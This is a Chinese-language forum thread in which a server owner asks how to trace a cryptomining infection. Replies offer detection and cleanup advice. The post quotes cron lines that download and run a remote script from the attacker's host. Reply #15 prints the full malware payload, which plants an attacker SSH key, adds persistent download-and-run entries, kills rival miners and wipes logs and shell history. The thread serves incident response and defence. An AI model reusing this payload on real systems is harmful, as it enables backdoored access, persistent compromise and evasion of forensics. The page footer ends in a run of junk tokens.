求助~服务器被挖矿程序入侵,如何排查 - V2EX
V2EX = way to explore
V2EX 是一个关于分享和探索的地方
现在注册
已注册用户请  登录
请不要在回答技术问题时复制粘贴 AI 生成的内容
diveIntoWork
V2EX    程序员

求助~服务器被挖矿程序入侵,如何排查

  •  
  •   diveIntoWork 2018-05-28 09:15:14 +08:00 13382 次点击
    这是一个创建于 2771 天前的主题,其中的信息可能已经有所发展或是发生改变。

    最近服务器 CPU 占用一直在 75%左右,阿里云盾报警说是有挖矿程序,但是 top 命令没有发现 cpu 占用特别高的进程

    top - 09:08:51 up 7 days, 21:20, 0 users, load average: 6.53, 6.48, 6.45 Tasks: 181 total, 1 running, 179 sleeping, 0 stopped, 1 zombie Cpu(s): 77.8%us, 6.1%sy, 0.0%ni, 16.1%id, 0.0%wa, 0.0%hi, 0.0%si, 0.0%st Mem: 32946868k total, 7645184k used, 25301684k free, 722592k buffers Swap: 0k total, 0k used, 0k free, 4216620k cached PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND 22948 root 20 0 616 4 0 R 1 0.0 0:00.46 top 1 root 20 0 117m 5996 3888 S 1 0.0 21:17.74 /sbin/init 1767 root 20 0 130m 16m 12m S 1 0.1 43:42.96 /usr/local/aegis/aegis_client/aegis_10_41/AliYunDun 1117 root 20 0 34336 4736 4200 S 0 0.0 7:24.21 /usr/local/aegis/aegis_update/AliYunDunUpdate 26901 root 20 0 2712m 567m 22m S 0 1.8 35:07.66 /root/apps/jdk1.8.0_121/bin/java -Dproc_namenode -Xmx1000m -Djava.net.preferIPv4Stack=true -Dhadoop.log.dir=/root/hadoop/hadoop-2.7.1/logs -D 1277 root 20 0 23196 2060 1524 S 0 0.0 6:24.72 /usr/local/cloudmonitor/wrapper/bin/./wrapper /usr/local/cloudmonitor/wrapper/bin/../conf/wrapper.conf wrapper.syslog.ident=cloudmonitor wrap 7741 root 20 0 6130m 950m 29m S 0 3.0 69:27.14 /root/apps/jdk1.8.0_121/bin/java -cp /root/spark/spark-2.1.4.19-bin-2.7.1/conf/:/root/spark/spark-2.1.4.19-bin-2.7.1/jars/*:/root/hadoop/hado 42 root RT 0 0 0 0 S 0 0.0 3:36.15 [migration/7] 13 root 20 0 0 0 0 S 0 0.0 4:13.37 [ksoftirqd/1] 12 root RT 0 0 0 0 S 0 0.0 3:42.04 [migration/1] 15 root 0 -20 0 0 0 S 0 0.0 0:00.00 [kworker/1:0H] 16 root RT 0 0 0 0 S 0 0.0 0:01.70 [watchdog/2] 17 root RT 0 0 0 0 S 0 0.0 2:07.48 [migration/2] 9 root RT 0 0 0 0 S 0 0.0 1:57.28 [migration/0] 20 root 0 -20 0 0 0 S 0 0.0 0:00.00 [kworker/2:0H] 21 root RT 0 0 0 0 S 0 0.0 0:01.97 [watchdog/3] 22 root RT 0 0 0 0 S 0 0.0 6:07.52 [migration/3] 23 root 20 0 0 0 0 S 0 0.0 5:42.32 [ksoftirqd/3] 25 root 0 -20 0 0 0 S 0 0.0 0:00.00 [kworker/3:0H] 26 root RT 0 0 0 0 S 0 0.0 0:02.08 [watchdog/4] 27 root RT 0 0 0 0 S 0 0.0 1:52.24 [migration/4] 28 root 20 0 0 0 0 S 0 0.0 3:41.09 [ksoftirqd/4] 30 root 0 -20 0 0 0 S 0 0.0 0:00.00 [kworker/4:0H] 8 root 20 0 0 0 0 S 0 0.0 0:00.00 [rcu_bh] 10 root RT 0 0 0 0 S 0 0.0 0:02.24 [watchdog/0] 33 root 20 0 0 0 0 S 0 0.0 4:11.14 [ksoftirqd/5] 32 root RT 0 0 0 0 S 0 0.0 3:36.46 [migration/5] 36 root RT 0 0 0 0 S 0 0.0 0:02.05 [watchdog/6] 35 root 0 -20 0 0 0 S 0 0.0 0:00.00 [kworker/5:0H] 38 root 20 0 0 0 0 S 0 0.0 3:39.25 [ksoftirqd/6] 40 root 0 -20 0 0 0 S 0 0.0 0:00.00 [kworker/6:0H] 41 root RT 0 0 0 0 S 0 0.0 0:01.97 [watchdog/7] 37 root RT 0 0 0 0 S 0 0.0 1:52.30 [migration/6] 43 root 20 0 0 0 0 S 0 0.0 4:06.41 [ksoftirqd/7] 45 root 0 -20 0 0 0 S 0 0.0 0:00.00 [kworker/7:0H] 46 root 20 0 0 0 0 S 0 0.0 0:00.00 [kdevtmpfs] 47 root 0 -20 0 0 0 S 0 0.0 0:00.00 [netns] 48 root 0 -20 0 0 0 S 0 0.0 0:00.00 [perf] 

    然后,在 /var/spool/crontab 目录下发现一个定时脚本:

     REDIS0007ú redis-ver^F3.2.11ú redis-bits@ú^EctimeI{Zú^Hused-memx^L^@^@^D^@^@^HJsDhtGeK@I */5 * * * * /usr/bin/wget -q -O- http://cdn.namunil.com/sh.php|/bin/sh ^@^HFQysiMRk4 */2 * * * * curl http://cdn.namunil.com/sh.php|sh ^@^FdseINi8 */2 * * * * wget -O- http://cdn.namunil.com/sh.php|sh ^@^HJPYAqMif@F */5 * * * * /usr/bin/curl -qs http://cdn.namunil.com/sh.php|/bin/sh X*TAg 

    是挖矿的脚本无疑了,但接下来应该怎么排查呢,试了一下挖矿脚本下载不下来。cpu 还是一直 75%左右。

    第 1 条附言    2018-05-28 09:50:11 +08:00

    追加一下htop打印的内容

     PID USER PRI NI VIRT RES SHR S CPU% MEM% TIME+ Command 5098 root 20 0 15628 1540 800 S 601. 0.0 10h35:14 [kondemand] 5101 root 20 0 15628 1540 800 R 100. 0.0 1h45:51 [kondemand] 5102 root 20 0 15628 1540 800 R 100. 0.0 1h45:51 [kondemand] 5103 root 20 0 15628 1540 800 R 100. 0.0 1h45:51 [kondemand] 5105 root 20 0 15628 1540 800 R 100. 0.0 1h45:51 [kondemand] 5104 root 20 0 15628 1540 800 R 100. 0.0 1h45:51 [kondemand] 5106 root 20 0 15628 1540 800 R 100. 0.0 1h45:52 [kondemand] 4999 root 20 0 2361M 73548 16152 S 0.7 0.2 50:17.49 /usr/local/cloudmonitor/jre/bin/java -Djava.compiler=none -XX:-UseGCOverheadLimit -XX:NewRatio=1 -XX:SurvivorRatio=8 -XX:+UseSerialGC -Djav 774 root 20 0 2655M 234M 23012 S 0.7 0.7 9:04.48 /root/apps/jdk1.8.0_121/bin/java -Dproc_secondarynamenode -Xmx1000m -Djava.net.preferIPv4Stack=true -Dhadoop.log.dir=/root/hadoop/hadoop-2. 2380 root 20 0 30104 11668 1932 S 0.7 0.0 3:38.34 /root/26 reboot 3665 root 20 0 76284 1160 784 S 0.7 0.0 4:01.08 /usr/bin/bsd-port/getty 27004 root 20 0 2712M 569M 22928 S 0.7 1.8 6:12.11 /root/apps/jdk1.8.0_121/bin/java -Dproc_namenode -Xmx1000m -Djava.net.preferIPv4Stack=true -Dhadoop.log.dir=/root/hadoop/hadoop-2.7.1/logs 1312 root 20 0 2361M 73548 16152 S 0.0 0.2 1h06:01 /usr/local/cloudmonitor/jre/bin/java -Djava.compiler=none -XX:-UseGCOverheadLimit -XX:NewRatio=1 -XX:SurvivorRatio=8 -XX:+UseSerialGC -Djav 26901 root 20 0 2712M 569M 22928 S 0.0 1.8 35:14.74 /root/apps/jdk1.8.0_121/bin/java -Dproc_namenode -Xmx1000m -Djava.net.preferIPv4Stack=true -Dhadoop.log.dir=/root/hadoop/hadoop-2.7.1/logs 

    kondemand 进程把cpu跑满了,没查到什么东西

    36 条回复    2018-05-29 09:42:32 +08:00
    Mrun
        1
    Mrun  
       2018-05-28 09:24:08 +08:00
    排查啥啊,这种情况就是备份好数据,全盘重做系统
    nealwx
        2
    nealwx  
       2018-05-28 09:27:25 +08:00 via iPhone
    top -b -n 1 看一下,你贴出来的好像不全
    然后再装个 htop 应该就可以明显的看出来了
    d0m2o08
        3
    d0m2o08  
       2018-05-28 09:41:10 +08:00
    egrep 'curl|wget' -R /
    先把下载挖光脚本的脚本找出来
    top 或者 htop 查看那个进程占用高 干掉
    根据找出来的可以脚本路径 在查找有没有可疑的隐藏文件
    xhf3894
        4
    xhf3894  
       2018-05-28 09:52:28 +08:00
    以前一个测试服务器也中过招,首先找出程序的位置,先打包下载下来,然后删除程序,删除随系统启动的配置,然后是修改密码。
    挖矿脚本的原理基本好像是通过扫描 ip,尝试弱密码登录,登录成功之后下载挖矿脚本并执行,而且还会利用服务器查找其他弱密码的 ip。
    diveIntoWork
        5
    diveIntoWork  
    OP
       2018-05-28 09:57:38 +08:00
    目前的问题是定位不到 cpu 占用高的进程,定时任务我也清空了,目前也查不到有其他的定时任务,比较尴尬
    Marzlia
        6
    Marzlia  
       2018-05-28 09:59:24 +08:00
    你是不是开放得 redis 得端口,我之前就是开了这个端口,清除掉没必要得端口再去找个教程清除挖矿程序
    albertofwb
        7
    albertofwb  
       2018-05-28 10:15:20 +08:00 via Android
    会不会是这样,挖矿程序做了反侦测,检测到 top 运行的时候自动暂停工作? 哈哈哈哈
    diveIntoWork
        8
    diveIntoWork  
    OP
       2018-05-28 10:18:51 +08:00
    @albertofwb 不会吧,cpu 突降应该也看得到
    lexuskingxx
        9
    lexuskingxx  
       2018-05-28 10:21:40 +08:00 via iPhone
    ssh 登录,不能使用密码登录
    dbow
        10
    dbow  
       2018-05-28 10:22:31 +08:00
    你这个挖矿程序应该是用了隐藏进程技术,ldd /bin/bash 看看是不是有奇怪的 so 文件预加载, 有的话把他们删除掉, 再看 top 就正常了。
    einvince
        11
    einvince  
       2018-05-28 10:23:13 +08:00   2
    top ps 二进制文件被换了,这两个已经成了启动木马启动命令,从别的机器上拷过来再用
    care
        12
    care  
       2018-05-28 10:24:28 +08:00 via iPhone
    命令是不是被替换了呢?
    iamsee
        13
    iamsee  
       2018-05-28 10:26:36 +08:00
    zcmxw1
        14
    zcmxw1  
       2018-05-28 10:26:43 +08:00
    你以 namunil.com 这个为关键字,百度一下,会有几篇文章,跟你类似,你可以参考一下
    iamsee
        15
    iamsee  
       2018-05-28 10:30:01 +08:00
    我之前中这招是 redis 密码太弱,他会写 redis,shell payload 全部代码:

    PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
    sleep 3
    cd /var/tmp || cd /tmp
    find . -maxdepth 1 -name ".mxsh0" -type f -mmin +20 -delete
    [ -f .mxsh0 ] && exit 0
    echo 0 > .mxsh0
    trap "rm -rf .mxsh0" EXIT
    setenforce 0 2>/dev/null
    echo SELINUX=disabled > /etc/sysconfig/selinux 2>/dev/null
    crontab -r 2>/dev/null
    rm -rf /var/spool/cron 2>/dev/null
    rm -rf /root/.ssh 2>/dev/null
    crontab -l 2>/dev/null
    mkdir -p /var/spool/cron/crontabs 2>/dev/null
    mkdir -p /root/.ssh 2>/dev/null
    echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDfB19N9slQ6uMNY8dVZmTQAQhrdhlMsXVJeUD4AIH2tbg6Xk5PmwOpTeO5FhWRO11dh3inlvxxX5RRa/oKCWk0NNKmMza8YGLBiJsq/zsZYv6H6Haf51FCbTXf6lKt9g4LGoZkpNdhLIwPwDpBB7nZqQYdTmbpEoCn6oHFYeimMEOqtQPo/szA9pX0RlOHgq7Duuu1ZjR68fTHpgc2qBSG37Sg2aTUR4CRzD4Li5fFXauvKplIim02pEY2zKCLtiYteHc0wph/xBj8wGKpHFP0xMbSNdZ/cmLMZ5S14XFSVSjCzIa0+xigBIrdgo2p5nBtrpYZ2/GN3+ThY+PNUqx redisX" > /root/.ssh/authorized_keys
    echo "*/2 * * * * curl -qs cdn.namunil.com/ash.php|sh" > /var/spool/cron/root
    echo "*/5 * * * * /usr/bin/curl -s cdn.namunil.com/ash.php|/bin/sh" >> /var/spool/cron/root
    echo "*/2 * * * * curl -qs cdn.namunil.com/ash.php|sh" > /var/spool/cron/crontabs/root
    echo "*/5 * * * * /usr/bin/curl -s cdn.namunil.com/ash.php|/bin/sh" >> /var/spool/cron/crontabs/root
    echo "curl -qs cdn.namunil.com/ash.php|sh" > /etc/rc.local
    echo "/usr/bin/curl -s cdn.namunil.com/ash.php|/bin/sh" >> /etc/rc.local
    echo "exit 0" >> /etc/rc.local
    grep -q 8.8.8.8 /etc/resolv.conf || echo "nameserver 8.8.8.8" >> /etc/resolv.conf
    grep -q 5.206.225.60 /etc/hosts || echo "5.206.225.60 static.cortins.tk" >> /etc/hosts
    rm -rf /tmp/* 2>/dev/null
    rm -rf /var/tmp/* 2>/dev/null
    rm -rf /etc/root.sh 2>/dev/null
    sync && echo 3 > /proc/sys/vm/drop_caches
    cat <<EOF> /etc/security/limits.conf
    * hard nofile 50000
    * soft nofile 50000
    root hard nofile 50000
    root soft nofile 50000
    EOF
    iptables -I INPUT 1 -p tcp --match multiport --dports 6370:7006 -j DROP 2>/dev/null
    iptables -I INPUT 1 -p tcp --match multiport --dports 6370:7006 -s 127.0.0.1 -j ACCEPT 2>/dev/null
    ps xf | grep -v grep | grep "redis-server\|nicehash\|linuxs\|linuxl\|crawler.weibo\|243/44444\|cryptonight\|stratum\|gpg-daemon\|jobs.flu.cc\|nmap\|cranberry\|start.sh\|watch.sh\|krun.sh\|killTop.sh\|cpuminer\|/60009\|ssh_deny.sh\|clean.sh\|\./over\|mrx1\|redisscan\|ebscan\|redis-cli\|barad_agent\|\.sr0\|clay\|udevs\|\.sshd\|/tmp/init" | while read pid _; do kill -9 "$pid"; done
    rm -rf /tmp/* 2>/dev/null
    rm -rf /var/tmp/* 2>/dev/null
    echo 0 > /var/spool/mail/root
    echo 0 > /var/log/wtmp
    echo 0 > /var/log/secure
    echo 0 > /root/.bash_history
    sleep 30
    exit 0
    nine99
        16
    nine99  
       2018-05-28 10:34:03 +08:00
    有 rookit 的, 常规方法你是发现不了的
    diveIntoWork
        17
    diveIntoWork  
    OP
       2018-05-28 10:41:08 +08:00
    @dbow 和正常机器对比一下应该没问题
    @einvince 看了一下,修改日期是 2016,应该没被替换吧。而且也删不动
    dbow
        18
    dbow  
       2018-05-28 10:45:47 +08:00
    可以再从内核的角度看看, 用 perf top 这个系统性能分析工具, 具体使用方法网上找找。
    lucifer4he
        19
    lucifer4he  
       2018-05-28 10:46:01 +08:00
    可能 ld.so.preload 增加了一个库文件,库 hook 了 readdir 之类的函数,对读取 /proc 文件夹的操作做了过滤,所以客户在使用 top 或者 ps 命令的时候,得到的结果都是被过滤过的结果。搞一下 top,这些命令隐藏下进程容易的很

    现在现场还在做一个 coredump 分析下吧
    chestnutprog
        20
    chestnutprog  
       2018-05-28 12:46:56 +08:00   1
    先拿 RkHunter 查一下 rootkit
    http://rkhunter.sourceforge.net/
    diveIntoWork
        21
    diveIntoWork  
    OP
       2018-05-28 13:02:33 +08:00
    @chestnutprog 感谢 用 RkHunter 查了一下,报警的内容有:

    /usr/sbin/adduser [ Warning ]

    /usr/bin/ldd [ Warning ]

    /usr/bin/top [ Warning ]

    /usr/bin/lwp-request [ Warning ]

    /bin/egrep [ Warning ]

    /bin/fgrep [ Warning ]

    /bin/netstat [ Warning ]

    /bin/which [ Warning ]

    这些命令可能都被篡改过了。。/bin/ 目录下的内容 root 用户也不能随便替换吧,能不能从其他机器上拷贝过来
    jin5354
        22
    jin5354  
       2018-05-28 13:19:16 +08:00
    不太懂,我 redis 之类的密码强度都很高,10 多位+大小写字母+数字+特殊符号,这样是不是就不容易中招了
    Pain
        24
    Pain  
       2018-05-28 17:12:42 +08:00
    没有人比入侵者更了解 入侵的程度。所以备份数据 重装系统是最好的解决方式。
    xuanyuanaosheng
        25
    xuanyuanaosheng  
       2018-05-28 17:23:30 +08:00
    目前知道的有一整套的入侵方案:1. 系统命令肯定被替换了 2. 会增加 cron 定时任务 3. 你再知道某些问题后,主要能联网,程序还是会自动修复的,还是被挖矿,4. 开机启动部分也需要查看 5. 目前知道的进程名称为:htral,这个用 top 看不到的 最后建议自己先备份下自己的数据,备份的时候一定注意,然后重新安装系统,这些
    chestnutprog
        26
    chestnutprog  
       2018-05-28 20:37:38 +08:00
    @diveIntoWork 可以从干净的相同版本系统上拷,把 rootkit 修好之后去找找挖矿程序,多半是简单的脚本啥的,分析清楚都干了啥挨个修了,顺便看下程序创建时间,检查下当时的 log 看看是从哪里进来的
    kmahyyg
        27
    kmahyyg  
       2018-05-28 20:42:48 +08:00
    备份重要的非可执行数据之后重装吧
    huigeer
        28
    huigeer  
       2018-05-28 20:53:00 +08:00
    备份重要的非可执行数据之后重装吧
    conn4575
        29
    conn4575  
       2018-05-28 20:56:51 +08:00 via Android
    好可怕,吓得我都不敢开放端口了
    diveIntoWork
        30
    diveIntoWork  
    OP
       2018-05-28 21:20:38 +08:00
    @chestnutprog 感谢~ 最后是这样解决的
    fancyhan
        31
    fancyhan  
       2018-05-28 21:29:35 +08:00
    牛逼啊,只能重新安装系统了,怕是有 rookie,你用的什么 distro,开了啥 web 应用,听说 java ssh 框架有漏洞
    aimiyooo
        32
    aimiyooo  
       2018-05-28 23:17:41 +08:00
    服务器有 redis 吧?备份数据,重装系统
    0xz
        33
    0xz  
       2018-05-28 23:25:07 +08:00 via iPhone
    top 这些检测常用的命令应该也被修改
    crll
        34
    crll  
       2018-05-28 23:45:59 +08:00 via iPhone
    我一般除了 80.443 端口开放,其他端口都修改了或者不对外开放的。重装系统是最快捷的方式。做好安全很重要。
    leakless
        35
    leakless  
       2018-05-29 00:44:21 +08:00
    testVmap
        36
    testVmap  
       2018-05-29 09:42:32 +08:00
    安装 sysdig 工具,我用这个找到了 CPU 占用高的程序
    #sysdig -c topprocs_cpu

    CPU% Process PID
    --------------------------------------------------------------------------------
    99.70% <NA> 719
    99.70% <NA> 725
    98.70% <NA> 724
    98.70% <NA> 722
    0.00% oracle 10187
    0.00% hosteye 988
    0.00% V8 4374
    0.00% oracle 6393
    0.00% gdbus 534
    0.00% <NA> 9230
    关于     帮助文档     自助推广系统     博客     API     FAQ     Solana     2626 人在线   最高记录 6679       Select Language
    创意工作者们的社区
    World is powered by solitude
    VERSION: 3.9.8.5 28ms UTC 06:46 PVG 14:46 LAX 22:46 JFK 01:46
    Do have faith in what you're doing.
    ubao msn snddm index pchome yahoo rakuten mypaper meadowduck bidyahoo youbao zxmzxm asda bnvcg cvbfg dfscv mmhjk xxddc yybgb zznbn ccubao uaitu acv GXCV ET GDG YH FG BCVB FJFH CBRE CBC GDG ET54 WRWR RWER WREW WRWER RWER SDG EW SF DSFSF fbbs ubao fhd dfg ewr dg df ewwr ewwr et ruyut utut dfg fgd gdfgt etg dfgt dfgd ert4 gd fgg wr 235 wer3 we vsdf sdf gdf ert xcv sdf rwer hfd dfg cvb rwf afb dfh jgh bmn lgh rty gfds cxv xcv xcs vdas fdf fgd cv sdf tert sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf shasha9178 shasha9178 shasha9178 shasha9178 shasha9178 liflif2 liflif2 liflif2 liflif2 liflif2 liblib3 liblib3 liblib3 liblib3 liblib3 zhazha444 zhazha444 zhazha444 zhazha444 zhazha444 dende5 dende denden denden2 denden21 fenfen9 fenf619 fen619 fenfe9 fe619 sdf sdf sdf sdf sdf zhazh90 zhazh0 zhaa50 zha90 zh590 zho zhoz zhozh zhozho zhozho2 lislis lls95 lili95 lils5 liss9 sdf0ty987 sdft876 sdft9876 sdf09876 sd0t9876 sdf0ty98 sdf0976 sdf0ty986 sdf0ty96 sdf0t76 sdf0876 df0ty98 sf0t876 sd0ty76 sdy76 sdf76 sdf0t76 sdf0ty9 sdf0ty98 sdf0ty987 sdf0ty98 sdf6676 sdf876 sd876 sd876 sdf6 sdf6 sdf9876 sdf0t sdf06 sdf0ty9776 sdf0ty9776 sdf0ty76 sdf8876 sdf0t sd6 sdf06 s688876 sd688 sdf86